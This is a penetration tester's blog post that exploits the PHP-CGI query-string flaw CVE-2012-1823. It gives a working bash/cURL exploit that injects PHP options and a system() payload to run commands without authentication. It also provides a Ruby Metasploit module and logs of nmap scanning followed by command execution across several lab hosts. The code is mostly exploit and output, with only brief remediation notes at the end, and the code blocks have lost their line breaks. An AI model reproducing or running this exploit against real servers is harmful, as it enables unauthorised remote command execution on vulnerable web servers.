php broken

During a recent penetration test, our team found a few web servers that were vulnerable to a PHP-CGI query string parameter vulnerability (CVE-2012-1823).

This vulnerability allows an attacker to execute commands without authentication, under the privileges of the web server. The target environment had very strong egress controls in place. All outbound ports were blocked and only ports 80 and 443 were allowed inbound. This made it difficult to obtain an interactive shell. Therefore, we decided to build a proof of concept exploit script using cURL to execute commands and then take it to the next level by authoring a new Metasploit Module.

Download phpcgi_exec.zip

Proof of concept exploit script

		#!/bin/bash# Semi-interactive shell over PHP-CGI POST requests.	
		if [ -z "$1" ] ;thenecho "USAGE: $0 [ip] [command]"exitficurl -i -s -k  -X 'POST'-H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)'--data-binary "<?php system("$2""); die; ?>""""http://$1/cgi-bin/php5?%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn""	

OS Command Output

		$ bash poc.sh 10.0.0.77 idHTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:52 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 54Content-Type: text/htmluid=33(www-data) gid=33(www-data) groups=33(www-data)	

		$ bash poc.sh 10.0.0.77 'uname -r'HTTP/1.1 200 OKDate: Thu, 03 Jul 2014 03:26:59 GMTServer: Apache/2.2.8 (Ubuntu) DAV/2X-Powered-By: PHP/5.2.4-2ubuntu5.10Content-Length: 89Content-Type: text/html2.6.24-16-server	

At its core, the script passes the necessary information and command(s) via cURL to the vulnerable web server. OS command output is returned in the HTTP response body as shown in the figures above.

Creating the Metasploit Module

To better understand the Metasploit module code, let’s revisit and explore the key components of the PoC script first. The exploit initially passes several arguments to the PHP interpreter in order to disable many of the available security features.  Specifically, the script passes the following arguments to the target PHP interpreter:

Using PHP command line options in the query string

		-d allow_url_include=on  -d safe_mode=off  -d suhosin.simulation=on  -d disable_functions=""  -d open_basedir=none  -d auto_prepend_file=php://input  -d cgi.force_redirect=0  -d cgi.redirect_status_env=0  –n	

More on PHP: The “-d” option allows an attacker to manipulate security settings. You can learn more about these specific PHP INI directives by visiting: http://php.net/manual/en/ini.list.php

These arguments are passed as GET parameters within the URI (example: /#{vulnerable_uri}?#{phpoptions}). We need to perform URL encoding so the values are properly passed to the web server. We start by performing some basic search/replace substitutions within the initial string.

Convert to URL encoding

		phpcmd = '-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n'phpcmd.gsub!(' ','+')phpcmd.gsub!('=','%3d')phpcmd.gsub!('/','%2f')phpcmd.gsub!('.','%2e')phpcmd.gsub!('"','%22')phpcmd.gsub!('-','%2d')phpcmd.gsub!(':','%3a')	

The variable phpcmd now consists of the following string:

URL encoding applied

		%2dd+allow_url_include%3don+%2dd+safe_mode%3doff+%2dd+suhosin%2esimulation%3don+%2dd+disable_functions%3d%22%22+%2dd+open_basedir%3dnone+%2dd+auto_prepend_file%3dphp%3a%2f%2finput+%2dd+cgi%2eforce_redirect%3d0+%2dd+cgi%2eredirect_status_env%3d0+%2dn	

Next, we need to specify the actual OS command we want to instruct the web server to run. This will be passed in the POST body.

OS command output

		phpdata = ""	

The datastore[‘CMD’] variable will contain the OS command the user specifies to execute on vulnerable web servers. We are now ready to execute the request and print out the response.

Execute request and print response

		res = send_request_cgi({'uri'          => "#{uri}?#{phpcmd}",'method'       => 'POST','data'         => phpdata,}, 5)cmd_output = res.bodyif res and res.code == 200 and res.bodyprint_good(res.body)end	

Our module is now complete. We are able to execute OS commands on multiple vulnerable web servers. Below is an example of enumerating systems affected by the vulnerability and execution of two commands (id and uname -r). The module returns the output of the OS commands in the HTTP response.

First, we use db_nmap to enumerate systems with port 80 open.

Enumerate systems with port 80 open

		msf > db_nmap 10.0.0.70-80 -p 80[*] Nmap: Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-08-12 15:58 EDT[*] Nmap: Nmap scan report for 10.0.0.74[*] Nmap: Host is up (0.0010s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.75[*] Nmap: Host is up (0.00095s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.76[*] Nmap: Host is up (0.00089s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap scan report for 10.0.0.77[*] Nmap: Host is up (0.00084s latency).[*] Nmap: PORT   STATE SERVICE[*] Nmap: 80/tcp open  HTTP[*] Nmap: Nmap done: 11 IP addresses (4 hosts up) scanned in 1.25 seconds	

The results of the nmap scan are stored in the Metasploit DB. The next step is to load our module and review the default configuration options.

Default configuration options

		msf > use  auxiliary/scanner/http/phpcgi_execmsf auxiliary(phpcgi_exec) > show optionsModule options (auxiliary/scanner/http/phpcgi_exec):Name       Current Setting  Required  Description====       ===============  ========  ===========CMD        id               yes       The command to execute.Proxies                     no        Use a proxy chainRHOSTS                      yes       The target address range or CIDR identifierRPORT      80               yes       The target portSSL        false            yes       Use SSLTARGETURI  /cgi-bin/php5    yes       The URL of the php-cgi interface.THREADS    1                yes       The number of concurrent threadsVHOST                       no        HTTP server virtual host	

We can query the Metasploit DB (services -p 80 -u -R) in order to set the RHOSTS variable to all servers with port 80 open.

Setting RHOSTS variable

		msf auxiliary(phpcgi_exec) > services -p 80 -u -RServices========host       port  proto  name  state  info––––       ––––  –––––  ––––  –––––  ––––10.0.0.74  80    tcp    http  open10.0.0.75  80    tcp    http  open10.0.0.76  80    tcp    http  open10.0.0.77  80    tcp    http  openRHOSTS => 10.0.0.74 10.0.0.75 10.0.0.76 10.0.0.77	

We are now ready to run the module

		[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed	

We can specify a different OS command and run the module again.

		msf auxiliary(phpcgi_exec) > set CMD uname -rCMD => uname -rmsf auxiliary(phpcgi_exec) > run[*] Verifying the phpcgi interface exists at http://10.0.0.74:80//cgi-bin/php5[*] 10.0.0.74:80 - Sending request…[+] http://10.0.0.74:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 1 of 4 hosts (025% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.75:80//cgi-bin/php5[*] 10.0.0.75:80 - Sending request…[+] http://10.0.0.75:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 2 of 4 hosts (050% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.76:80//cgi-bin/php5[*] 10.0.0.76:80 - Sending request…[+] http://10.0.0.76:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 3 of 4 hosts (075% complete)[*] Verifying the phpcgi interface exists at http://10.0.0.77:80//cgi-bin/php5[*] 10.0.0.77:80 - Sending request…[+] http://10.0.0.77:80//cgi-bin/php5 - phpcgi - 2.6.24-16-server[*] Scanned 4 of 4 hosts (100% complete)[*] Auxiliary module execution completed	

The PHP-CGI vulnerability has been public for several years now, but we’re still finding evidence of it on live production servers. Remediation and mitigation options are quite basic: 1) patch, 2) disable use of CGI mode for PHP, or 3) implement a WAF. This module can also be used to determine whether any vulnerable instances exist in your environment and to verify remediation.

Hack all the things!